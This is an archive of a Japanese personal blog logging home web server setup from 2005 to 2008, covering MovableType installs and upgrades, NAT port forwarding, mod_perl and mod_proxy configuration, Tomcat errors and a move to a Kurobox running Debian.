メイン

ウェブログ環境構築 アーカイブ

2005年08月12日

MovableTypeインストールしました

会社の後輩にやり方を教わって、自宅ウェブログサーバー構築にトライすることにしました。
NAPT越しでインターネットに公開する所が最大の難関だと思いますが、まずはウェブログが動かせる環境を作りました。


続きを読む "MovableTypeインストールしました" »

2005年08月13日

ブログ公開成功

DHCPしているADSLルーターのNATを経由して、LANの中にあるブログを公開することに成功した。

続きを読む "ブログ公開成功" »

2005年10月24日

(FreeBSD) pcmciaのNICでDHCP+aliasする方法

このサーバーは、ネットワークインターフェースとして、pcmciaのetherカードを使っている。
インターネットからのアクセスを家のルーターが受けて、それをNAT内のこのサーバーに転送するためには、固定IPアドレスを設定する必要があるが、ルーターはDHCPをサポートしているため、なんとなくDHCPを使って、その上で固定aliasを設定するようにしている。
これまで、rc.confに
ifconfig_ed1_alias0="inet 192.168.XXX.XXX netmask 0xffffffff"
と書いていたが、なぜかaliasが設定されなくて、仕方なく、rc.localにalias設定のコマンドを書いていた。
しかし、これだと、ルーターのDHCPがリセットして(うちのルーターはよくある)IPアドレスを振り直すと、aliasが消えるという問題があった。(そのため、このサーバーは連続運転なのによくインターネットから見えなくなっていた)
以前から原因がわからなくて困っていたが、今日、/etc/以下を真剣に調べたら、rc.confのalias設定が反映されない理由がわかった。

続きを読む "(FreeBSD) pcmciaのNICでDHCP+aliasする方法" »

w3mでMovable Typeのエントリーを投稿できるのか?

このサーバーではNetscapeがきちんと動かない(MovableTypeの設定画面がきちんと表示されない)ため、サーバーでのエントリー投稿を諦めていたが、w3m+jvim+kinput2という組合せで、なんとか投稿できそうな所まで行った。(jvimを使うのは、viだとなぜかEUCの「らりるれろ」等がきちんと表示されないため)

しかし、うまくいかなかった。入力したテキストの改行が失われてしまうのだ。「改行を変換する」を選択してもだめ。何故だろう? jvimで改行コードを変えれば解決するのだろうか?

それから、Movable Typeのページ移動の度にパスワードを入力させられるのが大問題だ。とても使えない。「情報を登録する?」をチェックしてもだめだった。~/.w3m/passwdを設定してもだめだった(HTTPサーバーの認証じゃないから当然だ)。w3mがusernameとpasswordを覚えないようだ。
これはw3mの設定で何とかできるものなのだろうか?
せめてマクロのユーザーコマンドが書ければ、ワンキーでパスワード入力ができるかなと思うんだが…

2006年06月06日

BフレッツでWebサーバー公開

このWebサーバーは先月引越しをした。引越し前はADSLでこのサーバーを公開していたが、引越し後はBフレッツ(マンションタイプ)しか選択肢が無かったため、常時接続とサーバー公開の設定をやり直すことになった。
ついでに、IP電話を使うことにしたために、予想外に面倒なことになった。

予約で3週間待たされた、10分で終わるNTTの工事で、VDSL装置が設置された。その何日か前に、NTTからIP電話用の「VoIPアダプタ」が届いていた。

まず、VDSL装置の説明書に従って、PCを直接繋いでみた。
svr_expose1.PNG
簡単に繋がり、PCからインターネットにアクセスできた。ピンク色の部分がPPPoEでグローバルIPアドレスが割り当たっている部分だ。

次に、VoIPアダプタの接続の手引きに従って、接続してみた。
svr_expose2.PNG
説明書に従うとこうなるのだが、これだとPCが繋げない。手引きをくまなく読んでも、VoIPアダプタとPCとの両方を接続する方法がわからない。

分厚いマニュアルを読み始めて、VoIPアダプタに「ルータモード」なるモードがあることがわかった。VoIPアダプタの設定を「ルータモード」に変えて、次のように接続した。
svr_expose3.PNG
VoIPアダプタから線が3本出ているが、実際にはハブを介している。青色の部分がNATのプライベートアドレスが割り当たっている部分だ。

この構成で、その後も設定には苦労したが、PCもインターネットに繋がり、IP電話も使えるようになった。
あとはWebサーバー公開だ、と思ったら、大きくつまずいた。例によってNAT超えの問題だ。おさらいになるが、NATの先のプライベートIPアドレスが割り当たっている(以下、LAN内の、と表記する)PCからは設定無しでインターネットへ接続できる(接続先がグローバルIPアドレスのため)が、インターネットからLAN内のサーバーへは設定無しでは接続できない(接続先がプライベートIPアドレスのため)のである。
svr_expose4.PNG
これを解決するには、NATを行うルーターにて、グローバルIPアドレス(+ポート番号)からプライベートIPアドレス(+ポート番号)への変換を行うよう設定する必要がある。
ADSLルーターの時は、それを実現する静的NAPT変換の設定が簡単にできたが、今回のVoIPアダプタは、いくら探しても設定方法がわからない。
仕方なくNTTに電話すると、なかなか話が通じず、「LAN内のサーバーをインターネットに公開したい」と言ってるのに、「ポート開放」とか「アドレス・ポート変換」とかいう言葉で説明してると、「ああ、ネットワークゲームをなさりたいんですね?」と理解不能な反応をされて(後でネットワークゲームのためにNAT越えが必要なケースが増えていることを知った)、2回たらい回しされ、技術的な質問を受ける所に電話したら、40分待たされた挙句、「ポート開放したい」と言ったら即「そのVoIPアダプタにそんな高度な機能はありません。ルーターを使って頂くしかないですね」と一蹴された。「え、ポート開放できるVoIPアダプタとか無いんですか?」と聞くと、「そういうのもありますが…レンタル設備の変更が必要ですし、用意するのに1週間くらい必要になりますし…」と妙に歯切れの悪い回答をされた。しかし、何の説明も無く送り付けられて来たVoIPアダプタが不適切なものだったということが理解できたので、交換してくれ、と強くお願いしたら、「ちょっと調べて担当の者から折り返し電話します」と言われて切られた。その後、1時間しても電話が無いので電話したら、別の人が出て、「明日の午前中に回答します」と言われた。(実際は、翌日の午後に連絡が来た)

なんか期待できそうになかったので、Buffalo製の安くて売れてるルーター(静的NAPT変換設定可能)を購入した。
svr_expose5.PNG
ルーターのPPPoEの設定も静的NAPT設定も極めて簡単で、これによりWebサーバーの公開も成功した。
svr_expose6.PNG
しかし、この構成だと、Bフレッツの接続口の近くにVDSL装置、ルーター、VoIPアダプタ、電話機の4台が並ぶ上、それぞれがごついACアダプタを備えているため、4つのACアダプタが刺さるようテーブルタップを用意する必要があり、電気の配線がすごいことになった。ADSLルーターの時はまだACアダプタ2つで済んでたのに、邪魔で仕方がなかった。
昨日、強くお願いしたVoIPルーターが届いたので、ルーターとVoIPアダプタをそれに置き換えた。
svr_expose7.PNG
まだ謎の機器2つ(VDSLアダプタ、VoIPルーター)とACアダプタが3つもゴロゴロしており、とても鬱陶しいが、とりあえず宅内LAN環境が落ち着いた。

2006年12月10日

MovableType3.33インストール

Pentium 150MHz機にてFreeBSD 4.10+MovableType 3.17で構成されていたこのweblogは、7月くらいからひどいトラックバック爆弾、コメント爆弾といういわゆるsplogを受けていて、一部のMovableTypeの管理画面が開かなくなるくらいにメンテナンス困難になっていた。MovableType 3.2でsplogフィルタ機能が搭載されていたのだが、面倒くさがってバージョンアップをさぼったのが災いした。

そのため、本日ようやくMovableType最新バージョンである3.33に更新した。
バージョンアップ自体は、MovableTypeのオンラインマニュアルに従って意外と簡単に終わったのだが、「サイトの再構築」で
Can't call method "allow_pings" on an undefined value at lib/MT/Template/ContextHandlers.pm line 3788.
というエラーが出るようになった。

上記ContextHandlers.pmファイルを中心にがんばって調べたのだが、結局なぜ3788行目の
--------------------------
if ($entry->allow_pings) {
--------------------------
の$entryがundefinedになることがあるのかが調べ切れなかった。使用しているテンプレートが悪いのだろうか。とりあえず、この1行を
--------------------------
if ($entry && $entry->allow_pings) {
--------------------------
に書き換えると「サイトの再構築」が成功したので、ここに記録しておく。

続きを読む "MovableType3.33インストール" »

2007年10月08日

MovableType3.35インストール

何ヶ月か前から、このweblogのトップページに表示される最近のエントリーの末尾の「コメント (*)」「トラックバック (*)」というリンクがおかしくなっており、辿っても何も表示されなくなっていたが、原因がわからなかった。おそらくコメントデータの不整合だろう、Berkeley DBからMySQLに移行すれば直るかも知れないと思って、少し前にSix Apartのサイトのマニュアルを参考にしてMySQLデータベースへの変換を試みたが、日本語が文字化けしてしまった。これも原因がわからなかった。

同じバージョンであるMovableType3.33と全く同じBerkeley DBのデータを用いて、予備の環境でMySQLデータベースへの変換を行うと、文字化けしなかったので、問題は本環境のMySQLにあると思い、MySQLのcharset周りを調べて色々試したが、解決しなかった。本環境と予備環境の違いは、FreeBSDのバージョンの違い(4.11/5.5)とMySQLのバージョンの違い(5.0/5.1)と、いくつかのPerlモジュールのバージョンの違いしか無い。

今日、これまでの調査結果を踏まえて再度調べていると、MySQLに移行して文字化けしたデータでもサイトの再構築はでき、「コメント」「トラックバック」のリンクの問題は全く解決しないことに気付いた。これはMovableTypeを4.xにバージョンアップするしかないか、と思ったが、4.xにバージョンアップして直らなかったら立ち直れないと思い、3.xのままでまともに解析することにした。

どうせ4.xにするとテンプレート総入れ替えになるだろうから、と思って、試しにテンプレートを3.xのデフォルトのものに戻すと、エントリー毎のコメントやトラックバックへのリンクが正常に動作した。そのことから突き詰めると、結局、この環境では、テンプレート内の<$MTCommentScript$>(mt-comments.cgiに置換される)、<$MTTrackbackScript$>(mt-tb.cgiに置換される)は無効であるらしいことがわかった。MovableType3.17の頃は問題なく使えていたのだが。
代わりに"<$MTEntryPermalink$>#comments" "<$MTEntryPermalink$>#trackback"を使うことで、リンクの問題は解決した。

文字化けの問題はもっと単純で、Six Apartのニュースによると、MovableType3.34から3.35の変更点として

convert-dbおよびmt-db2sql.cgiで別のデータベースに移行すると移行先のデータが文字化けする可能性がありました。この不具合を修正しました。

と書かれており、それで解決することを信じてMovableTypeを3.33から3.35へバージョンアップすると、文字化けせずにSQLデータベースへの移行ができてしまった。

ついでに、以前のエントリーのコメントに書いた、エントリー投稿時にエラーが発生することについても修正されていることを確認した。

続きを読む "MovableType3.35インストール" »

2007年10月13日

MovableType3.35をmod_perlで動かす(1/2)

今週、某サイトのApacheの記事を読んでいて、mod_proxyというモジュールに興味を惹かれてApacheのマニュアルやhttpd.confを眺めてると、mod_perlという単語が目に止まった。この単語は私にはかなり昔から見覚えがあって、何だろうこれは、とずっと気になっていたので、少し調べてみると、どうやらApacheのモジュールで、Perlのプロセスを常駐させてCGIを速く動かせるもののようだった。(あくまでmod_perlの利点の1つで、mod_perlの役割はそれだけではない)

ということは、CGIとJavaのServletを比べた場合にServletの利点とされる、HTTPサーバーの一部として動くことによる効率の良さが、Perlでも実現できるということだ。(PHPを使ってる人は何を今更と言うかも知れないが)

このサーバー(CPU: Pentium 150MHz, OS: FreeBSD 4.11)では、これまでMovableTypeが遅く、管理画面でサーバーにアクセスする度に14秒以上かかっており、何かいい方法が無いものかと思っていたので、MovableTypeをmod_perlで動かせないかと思い、Webで調べてみると、Six ApartのMovableType3.2のマニュアルにやり方が書いてあった。

今日、早速それに従って試してみた。
上記のマニュアルには、MovableTypeをmod_perlで動かす方法として、Apache::Registryを使う方法と、MovableType自体をPerlHandlerとする方法の2つが書いてあり、前者の方が手軽にできそうだったので、まずApache::Registryを使う方法を試そうとした。
結論としては、この方法はうまくいかなかった。


●mod_perlのインストール
MovableType3.2のマニュアルによると、MovableTypeを動かすにはmod_perlのバージョンが1.xでないといけないので、今回はFreeBSDのportsを使ってバージョン1.3をインストールした。mod_perl 1.xを使うにはApacheは1.xである必要があるが、元々1.3を使っていたので問題なかった。
mod_perlの動作確認は、mod_perlのページに従って、以下のような設定をhttpd.confの末尾に追加して試した。
(インデントは省略)

Alias /perl/ /…/cgi-bin/

PerlModule Apache::Registry
<Location /perl/>
SetHandler perl-script
PerlHandler Apache::Registry
Options +ExecCGI
PerlSendHeader On
Allow from all
</Location>


httpd.confを書き換えて、httpdを再起動して、ローカルで既存の簡単なPerlのCGIにhttp://localhost/perl/….cgiというURLでアクセスすると、CGIとして動作させた場合と同じ出力が得られた。なお、あらゆるPerl CGIがそのまま動くわけではないので注意が必要だ。


●Apache::Request, Apache::Cookieのインストール
MovableType3.2のマニュアルによると、mod_proxy(Apache::Registry)を使ってMovableTypeを動かすには、PerlモジュールのApache::RequestとApache::Cookieが必要だ。
Perlモジュールのインストールは、CPANのシェルを使って、下記の要領でできる。

> perl -MCPAN -e shell
cpan[1]> install Apache::Request Apache::Cookie

cpanコマンドが存在する場合は、下記のようにしてもできる。
cpan -i Apache::Request Apache::Cookie

CPANによるインストールには、このサーバーではRAMの空きが60M~70M程度必要だった。メモリ不足になると、メモリ不足だとわかるメッセージを出さずに、"Killed."とだけ出て終了してしまう。

なお、root権限で、作業ディレクトリをroot権限でしかアクセスできない場所(/rootとか)にして、CPANを使ってApache::Requestをインストールしようとすると、途中のmake testの時に

[ error] You are running the test suite under user 'root'.

The problem is that the path (including all parent directories):
/root/.cpan/build/libapreq-1.33/t
must be 'rwx' by user 'nobody', so Apache can read and write under that path.

というエラーが出る。しかし、
Skip the test suite? [No]

と尋ねられた時に"Yes"と答えれば、インストールは続行できる。今回は、インストールした後に、作業ディレクトリを/usrに移して、make testだけ手動で起動して全てOKとなることを確認した。
やはりコンパイルまではユーザー権限で行って、インストールだけをrootで行うべきだった。一般論としても、その方がインストール準備まででトラブルが発生してもシステムに影響が無いようにできるので、rootでのコンパイルは避けるべきである。


●mod_perlの設定(Apache::Registry)
MovableType3.2のマニュアルに従い、httpd.confの末尾に

PerlModule Apache::Registry
<Location /cgi-bin/mt/>
SetHandler perl-script
PerlHandler Apache::Registry
Options +ExecCGI
</Location>

を追加して、httpdを再起動してブラウザからhttp://…/cgi-bin/mt/mt.cgiにアクセスすると、MovableTypeのログイン画面は表示されたが、ログインすると、ページが見つからないというエラーになり、その後はログイン画面も表示されなくなった。
Perlのプロセスは新規に立ち上がることは無く、httpdのプロセスにPerlが常駐しているらしいことが確認でき、他のPerlスクリプトはmod_perl経由で正常に実行できたので、常駐してるMovableTypeがおかしな状態になったようだった。
CGIの設定と不整合を起こしてるのかと思い、httpd.confの設定を

Alias /perl/ /…/perl/ # out of cgi-bin directory

PerlModule Apache::Registry
<Location /perl/mt/>
SetHandler perl-script
PerlHandler Apache::Registry
Options +ExecCGI
</Location>


という風にして、MovableTypeをApacheのcgi-binディレクトリ以外の所に移して試したが、動作は変わらなかった。

2007年10月14日

MovableType3.35をmod_perlで動かす(2/2)

前のエントリーに書いたように、mod_perlのApache::Registryを使ってMovableTypeを動かすのに失敗した後、改めてMovableType3.2のマニュアルを基点に調べていると、MovableType DocumentationのページMovableType3.3のインストールガイド(PDF)にもmod_perl化の方法が書かれていることに気付いた。こちらにはApache::Registryを使う方法は書かれていない。

そこでMovableType3.3のインストールガイドに従ってやってみた所、いくつかのトラブルがあったが、何とかMovableTypeをmod_perlで動かすことができた。


●mod_perlの設定(MovableType自体をPerlHandlerにする)
最終的にhttp.confの末尾に書いた設定は以下の通り。/path/to/…となっている部分は、実際のものから書き換えている。


#(a) library path descriptions passed as-is to the Perl interpreter
<Perl>
use lib '/path/to/mt/lib';
use lib '/path/to/mt/extlib';
use lib '/path/to/mt/plugins/WidgetManager/lib';
use lib '/path/to/mt/plugins/StyleCatcher/lib';
use lib '/path/to/mt/plugins/GoogleSearch/lib';
use lib '/path/to/mt/plugins/spamlookup/lib';
</Perl>

#(b) just as the installation guide says
Alias /mt/mt-static/ /path/to/mt-static/

#(c) definition of the Perl handler, set to MovableType
PerlModule MT::App::CMS
<Location /mt/app>
SetHandler perl-script
PerlHandler MT::App::CMS
PerlSetVar MTConfig /path/to/mt/mt-config.cgi
Allow from 192.168
</Location>

#(d) corresponding to "$CGIPath/$AdminScript" in mt-config.cgi
<Location /cgi-bin/mt/mt/app>
SetHandler perl-script
PerlHandler MT::App::CMS
PerlSetVar MTConfig /path/to/mt/mt-config.cgi
Allow from 192.168
</Location>

(a)のPerlのライブラリパス設定の部分は、インストールガイドには最初の2行しか書かれていないが、実際にはインストールしてるプラグイン全ての分が必要だ。プラグインの分の設定が無いと、MovableTypeの管理画面で時々、例えば下のようなエラーが出る。

Can't locate object method "get_handle" via package "StyleCatcher::L10N" at /usr/local/www/cgi-bin/mt/lib/MT/Plugin.pm line 459.

(b)の部分はインストールガイドのままの記述だ。おそらくhttpd.conf内のaliasが誤って適用されないようにするための処置だと思われ、必須ではないような気がするが、念の為加えている。

(d)の部分は後述の"$CGIPath/$AdminScript"の対策だ。


●mt-config.cgiの設定
インストールガイドに書かれている通り、下の設定を加える。

StaticWebPath http://hostname/mt/mt-static
AdminScript mt/app

StaticWebPathのhostnameより右の部分は、httpd.confの(b)で定義したエイリアスにする。実際には、StaticWebPathは既存の設定のままでも、少し使った感じでは問題なく動いたように見えた。


●起動確認
さて、インストールガイドに従ってhttpd.confとmt-config.cgiを書き換えてhttpdを再起動し、いざmod_perl経由のMovableTypeの管理画面にアクセスしようとすると、URLがわからない。もちろん既存のURLにアクセスすると、別プロセスのPerlのCGIが起動してしまう。上記の設定の場合、正解は、

http://hostname/mt/app
だ。なぜインストールガイドに書かれてないのだろう。httpd.confをいじるなら、それくらい判れということだろうか。

当初、上記(d)の設定をしていない状態で、ブラウザでhttp://hostname/mt/appにアクセスするとログイン画面が表示され、パスワードを入力すると、mt-config.cgiのCGIPATHとAdminScriptとを繋げたURL(http://hostname/…/mt/mt/appのような感じ)にジャンプしてしまい、ページが見つからないというエラーになってしまった。
それで思わずCGIPATHをhttp://hostname/に書き換えてしまった。それから出てくるエラー(プラグインが見つからないというエラーもここで出た)に対処すると、そこそこ動作するようになった。エントリーの追加、サイトの再構築もできたので、これでバッチリかと思い始めた頃、コメントの投稿ができないことに気付いた。CGIPATHを書き換えてしまったため、MovableTypeが生成したページから呼ばれる他のCGIが起動できないのだ。

正直な所、この管理画面のURLが"$CGIPATH/$AdminScript"になる問題への適切な対処はわからない。
インストールガイドに書かれてる方法で、必要な全てのCGIをmod_perl化すれば良いかも知れないが、そうするとテンプレートに書いている全てのCGIへのリンクをmod_perlのものに書き換えないといけなくなるので大変だ。
という訳で、上記(d)の設定を加えて、$CGIPATHと$AdminScriptとを繋げたURLについても/mt/appと同じ動作をするようにした。もしかして、インストールガイドの<Location /mt/app>は、CGIPATHのホスト名より下の部分を付け加えたものとして読めということだろうか。


●検索機能(mt-search.cgi)のmod_perl化
インストールガイドには、同様の方法でMovableTypeのどのCGIもmod_perl化できると書かれており、このサーバーではmt-search.cgiが非常に遅く、サイト内の検索に1分くらいかかっていたので、これをmod_perl化することにした。

httpd.confに追加する必要があるのは、PerlModuleの行と、それに続く<Location>のブロックだ。インストールガイドでMT::App::CMSとなっている部分(アプリ起動メソッド)を何にすべきかは、mt-search.cgiの中身を見ればわかる。

use MT::Bootstrap App => 'MT::App::Search';

とあるので、MT::App::Searchだ。従って、

PerlModule MT::App::Search
<Location /mt/search>
SetHandler perl-script
PerlHandler MT::App::Search
PerlSetVar MTConfig /path/to/mt/mt-config.cgi
</Location>

というのをhttpd.confの末尾に追加し、httpdを再起動した。
それから、MovableTypeの検索機能のURLがhttp://hostname/mt/searchに変わったので、テンプレート内のmt-search.cgiの部分を書き換えて、ページを再構築した。
以上の手順で、検索機能をmod_perlで起動することができるようになった。

ただ、httpd起動直後は、なぜか検索を実行するとノータイムでエラーとなってしまい、何回か検索を実行しないと初回の検索がなされない。httpdのログに何も出ないし、ブラウザの画面には「エラーが発生しました」とだけ出るので、何が悪いのかさっぱり分からない。

ついでに、テンプレートを全て書き換えるのが大変なので、httpd.confの上記の<Location>ブロックの直後に


<Location /cgi-bin/mt/mt-search.cgi>
SetHandler perl-script
PerlHandler MT::App::Search
PerlSetVar MTConfig /path/to/mt/mt-config.cgi
</Location>

を加えてみた所、自信は無いが、とりあえず以前のCGI起動のURLでもmod_perl起動するようになった。


●その他の設定
mod_perlでPerlを常駐化すると、httpdの子プロセスのそれぞれにPerlが常駐することがわかった。
MovableType常駐後は子httpd1つ当たり約30Mものメモリを占有してしまう。swapと合わせてもメモリが192Mしかないこのサーバーでは空きメモリがあっという間に無くなってしまったので、子httpdの数、すなわちhttpd.confのMaxClientの数を減らした。

続きを読む "MovableType3.35をmod_perlで動かす(2/2)" »

2007年10月20日

mod_proxyでmod_perlを分離

先週のエントリーで、mod_perlはポート待ち受けする全てのhttpdの内部にperlを常駐させるのでメモリを使いまくって困る、と書いたが、当然その課題については色々考えられてきたようで、mod_perlの様々な文書に対策が書かれていることがわかった。

最初に見つけたのは、単純にもman mod_perlの中だった。"MEMORY CONSUMPTION"という章があり、メモリ消費量が増える理由や、Perlスクリプトを書く時のノウハウが書かれている。さらにman mod_perl_tuningにずばり"REDUCING MEMORY USE"という章があり、次のような方法が紹介されている。
(1) httpdのプロセス数を減らす
(2) httpdが子プロセスをforkする前にPerlモジュールをできるだけ事前にロードして子プロセス間のRAMの共有化を図る(OSによってはあるメモリ領域に書き込みが発生するまではそのメモリ領域のコピーを子プロセスに作らないため)
(3) 通常のコンテンツ用のhttpd(多数の接続を許す)とmod_perlするhttpd(少数の接続のみ)とを分ける

mod_perlのサイトのDocumentationの"Choosing the Right Strategy""Performance Tuning"の所にも色々な情報があるが、大まかには上記の3通りの方法にまとめられると思う。

このWeblogを動かしているサーバーに関しては、(1)はhttpd.confのMaxSpareServersもMaxClientsも最少限にしてあるので無理、(2)は前回の設定で半分程度はなされており、これ以上はMovableTypeに手を加えることを意味し大変なので、(3)のように2種類のhttpdを動かす選択が妥当だ。
そして、複数のhttpdをシームレスに動かすと言えば、Apacheのmod_proxyだ。httpdに届いたHTTPリクエストを他のHTTPサーバーに転送できる機能だ。Apacheを使っていてHTTPサーバーの連携にmod_proxyを使わない手は無い。

ところで、このサーバーにはApacheとTomcatとが動いていて、それぞれ待ち受けポート番号が異なり、2つのポートをインターネットに公開しないといけないことと、一方のコンテンツのURLにポート番号が含まれるのが気になっていた。先々週、Apacheのmod_proxyのことを知り、それを使えば解決することがわかったので、mod_perlを組み込むのと同時に、mod_proxyを使えるようにApache 1.3を再コンパイルしていた。
そのmod_proxyを使って、mod_perlを外したApacheのhttpdとmod_perlを組み込んだApacheのhttpdを繋げれば良いのだ。実に幸便、渡りに船だ。

今回mod_proxyを使って作成した環境を大まかに説明する。
HTTPサーバーは上述のように3つの構成(同一PCで動く)とした。
(A) mod_proxyを組み込んだApacheのhttpd
(B) mod_perlを組み込んだApacheのhttpd
(C) Tomcat
インターネットからのHTTPリクエストは全て(A)が受け取り、リクエストのURLを見て、Perlを起動するべきコンテンツであればリクエストを(B)に転送し、Tomcatの管轄のコンテンツであればリクエストを(C)に転送する。

●mod_proxyの設定
特に細かいことをしなければ、mod_proxyの設定は至って簡単だ。
今回は、上記(A)のhttpd.confに以下を追加した。ここでは(B)はポート81、(C)はポート8080で待ち受けているとする。


ProxyPass /mt/ http://localhost:81/mt/
ProxyPassReverse /mt/ http://localhost:81/mt/
ProxyPass /cgi-bin/mt/ http://localhost:81/cgi-bin/mt/
ProxyPassReverse /cgi-bin/mt/ http://localhost:81/cgi-bin/mt/
ProxyPass /cgi-bin/mt/mt/app http://localhost:81/mt/app
ProxyPass /cgi-bin/mt/mt-search.cgi http://localhost:81/mt/search
ProxyPass /servlet/ http://localhost:8080/servlet/
ProxyPassReverse /servlet/ http://localhost:8080/servlet/
(10/29訂正:取り消し線部分2行削除、その下に2行追加)

言うまでも無く上4行が(B)への転送、下2行が(C)への転送の設定だ。

●httpd二重化の設定
2種類のhttpdを動作させるために、通常、最低
・httpd.conf
・ロックファイル、PIDファイル
・起動スクリプト(/etc/rcまたはそこから呼ばれるもの)
を別々にする必要があると思われる。

httpd.confは、異なるファイル名で2つ用意し、httpdの起動時に"-f"オプションを指定して区別させれば良い。
ロックファイルやPIDファイルの指定は、httpd.confの中で行う。それぞれ"LockFile"、"PidFile"の行で別々のものを設定する。

今回、最終的に(A)と(B)のhttpd.confの差分は次のものとなった。
・LockFile/PidFileの設定
・ErrorLogの設定
・ポート番号
・httpdプロセスの数に関係する値(MaxSpareServers, MinSpareServers, StartServers, MaxClients)
・mod_proxyの設定
・mod_perlの設定(LoadModuleやAddModuleも含めて)

起動スクリプトについては、本サーバーはFreeBSD 4.xなので、それに特化した話になるが、/usr/local/etc/rc.d/にapache-backend.shというファイルを追加した。apache.shとの差分は次の通り。
・apache_flagsの行("-f (config)"によるhttpd.confの指定)
・apache_pidfileの行(httpd.confのPidFileと同じものにする。httpdを通さない処理に必要になる)

2008年04月02日

Tomcat起動時のエラーログ

TomcatでJavaのservletを動かす実験をしていて、ログを見ると、servletは正常に動くのにTomcatが起動時に下のようなもので始まる大量のエラーを出してることに気付いた。

[ERROR] Digester - Parse Error at line 37 column 15: The content of element type
"servlet" must match "(icon?,servlet-name,display-name?,description?,(servlet-c
lass|jsp-file),init-param*,(以下略)

"Parse"とあるので私が追加したweb.xml(XML形式の設定ファイル)がおかしいのだろうとは思ったが、そもそも例えば上で書かれてるような37行目に"servlet"という文字列は無いし、"must match ..."とか言われても、"servlet-name"エレメントと"servlet-class"エレメントしか使ってないので、きちんとmatchしてるように思え、何が悪いのかわからなかった。しばらくしてやっと、上記の右側が正規表現ぽいことから、"servlet"エレメントの中身がicon, servlet-name, display-name, ...がこの順でないといけない、"?"がついてるエレメントはあっても無くても良い、servlet-classまたはjsp-fileのどちらか1つが必須である、という意味だと気付いた。

<servlet>~</servlet>の間に<servlet-name>と<servlet-class>を交互に書いていたのが問題だったようだ。同様に、<web-app>~</web-app>の間では、<servlet>と<servlet-mapping>を交互に置いてはいけないらしい。

2008年04月20日

玄箱+Debianで試験運用中

このウェブサイトを支えているPentium1機の動作が不安になってきたことと、ノートPCだが古いので消費電力が気になってきたこともあって、かねてから気になっていた玄箱を(主に玩具としてだが)購入した。
Web上に情報が豊富にあるため、Debian化はすぐにできた。さらに、Debianのパッケージ管理ツール(apt-get/aptitude)がとてもわかりやすく便利なので、webサーバとしてのセットアップも大体楽にできた。玄箱のこともDebianのことも全く何も知らなかったが、結局組み立てから1週間で最低限のwebサーバ化ができた。

MovableType、Tomcatの移行もできたので、試しにしばらく玄箱でこのサイトを動かすことにした。

しかし、早速いくつか問題が起こっている。
CPUの速度は、計算だけのベンチマークテストでは玄箱(PowerPC 200MHz)の方が倍くらい速いようだが、実用上の動作は玄箱の方が遅いケースもある。CGIの動作は常に玄箱の方が遅い。ApacheもPerlも同じバージョンで、設定にも大差ないので、OSが遅いかPerlが遅いくらいしか原因が思いつかない(Pentium 1機のFreeBSDの方はカーネルの再構築もPerlの再コンパイルもしている)。

RAMが少ないのも問題だ。玄箱はRAMが64Mしかないので、Tomcatやmod_perlのMovableTypeを動かすとswapが多発する。例えば、Tomcatを動かしながらcpanを動かすと、時々シェルがキー入力に反応しなくなり、リモートから操作困難になった。

RAM 128Mの玄箱PROを買うべきだったか?

2008年06月10日

玄箱HGに移行

10年以上前に購入し、ここ3年連続運転のwebサーバーとして活躍してきたノートパソコン、Mebius MN-340(CPU:Pentium 150MHz)の中から、チュイイイン、ギャアアァァンという、回転刃が金属板を削るような音がしてきたので、先々月から準備し始めていた玄箱に本格的に移行することにした。

初代玄箱の試験用のDebian環境をddでパーティションごとバックアップして、試験用のHDDをまともなHDDに換装して、ddでリストアしようとしたら、Debianが起動しなかった。(ddで取ったHDDのイメージファイルはLinuxでループバックデバイスとして正常にマウントできたのに。なぜだろう?)

仕方なく、Debianの再インストールを始めた。何度かインストールに失敗した後のある夜、寝る前にインストール作業をしていて、操作ミスをして慌てて電源を抜いたら、最悪のタイミングだったようで、ファームウェア異常になって玄箱自体が立ち上がらなくなってしまった。
これを修復するには、JTAGの環境が必要だ。長いこと半田こても握ってないし、そもそも半田こてを用意していない。半田こてを入手しても、その先も険しい道のりだろう。

元々、初代玄箱を試験的に動かしてみて、このMebiusの代わりは荷が重いと感じており、これまでも玄箱HGの購入を少し考えていたので、これまでに調べたことが無駄にならないように、忘れない内に玄箱HGを購入した。


●玄箱HG Debian化メモ
http://www.revulo.com/にあるページの通りの方法で、debian-sarge-2.6.17.3-kuroHG-20060702.tgzを使って、一発で成功した。
具体的な手順は以下の通り。

1. ログイン(ファームウェア1.01の初期状態だと、user=root, pass=kuroadmin)
2. echo -n NGNG > /dev/fl3
3. reboot
 →EMモードで起動する
4. 上記.tgzをtmpimage.tgzという名前にしてzip圧縮、ファームウェア1.01のimage.zipをそれに置き換える
5. ファームウェアダウンロード

●Debianセットアップメモ
- IPアドレス変更
 /etc/network/interfacesを書き換える
- Debian upgrade
 apt-get update
 apt-get upgrade
 を順に実行する
- 時刻設定
 dateコマンドで設定する

- テキストエディタの設定
 デフォルト設定では、何かにつけnanoというエディタが起動するので、
 update-alternatives --all
 を実行して、適切な選択肢でviクローンを選択する。

- IBM JDKのインストール
http://chira-ura.seesaa.net/article/28761629.htmlとそのリンク先に、パッケージの入手方法からalternativesの設定方法まで書かれている。
なお、Tomcatの起動スクリプトに書かれているIBM JDKのインストール先のディレクトリ名は、上記ページの説明とは違って、/usr/lib/j2sdk1.5-ibmとなっている。
上記ページの説明のようにalternativesを適切に設定すれば、複数のJavaをインストールした後のJava VMやJavaコンパイラの切り替えは、それぞれ
update-alternatives --config java
update-alternatives --config javac
というコマンドでできる。

- Tomcat5が起動しない場合の対処
 JavaのセキュリティマネージャをOFFにする。具体的には、/etc/init.d/tomcat5内にて
  TOMCAT5_SECURITY=no
 と設定する。

- Tomcatが使うJava VMについて
javaコマンドに関係なく、/etc/init.d/tomcat5にて優先順が決まっている。
別のものを使う場合は、/etc/default/tomcat5のJAVA_HOMEを設定する。


続きを読む "玄箱HGに移行" »

2008年10月25日

Blosxom環境構築(1/2)

先月、このweblogが動く自宅サーバーへのアクセス手段でお世話になってる、無料のDDNSサービス、ieServer.Netが不調で、しばしば外からここにアクセスできなくなっていた。
当初から大変ありがたく使わせてもらっているが、無料のサービスなので十分な設備で運営されるとは限らないし、いつサービス終了となるかもわからない。大してアクセス数がある訳でも無いが、せっかくネチネチと綴ってきた現役のweblogなので、まだ消滅させるには惜しい。そこで、予備のweblog環境を検討することにした。

このサーバーのblogは、MovableTypeを使って記事を静的なHTMLに変換して作っており、一度HTMLに変換すれば、WebサーバーにMovableTypeが無くても閲覧可能である(但しコメント/トラックバックの受信やコンテンツ内検索等はできない)。従って、MovableTypeを使って作成した静的なHTMLをプロバイダーが提供するWebサーバーにアップロードするだけで、公開はできる。
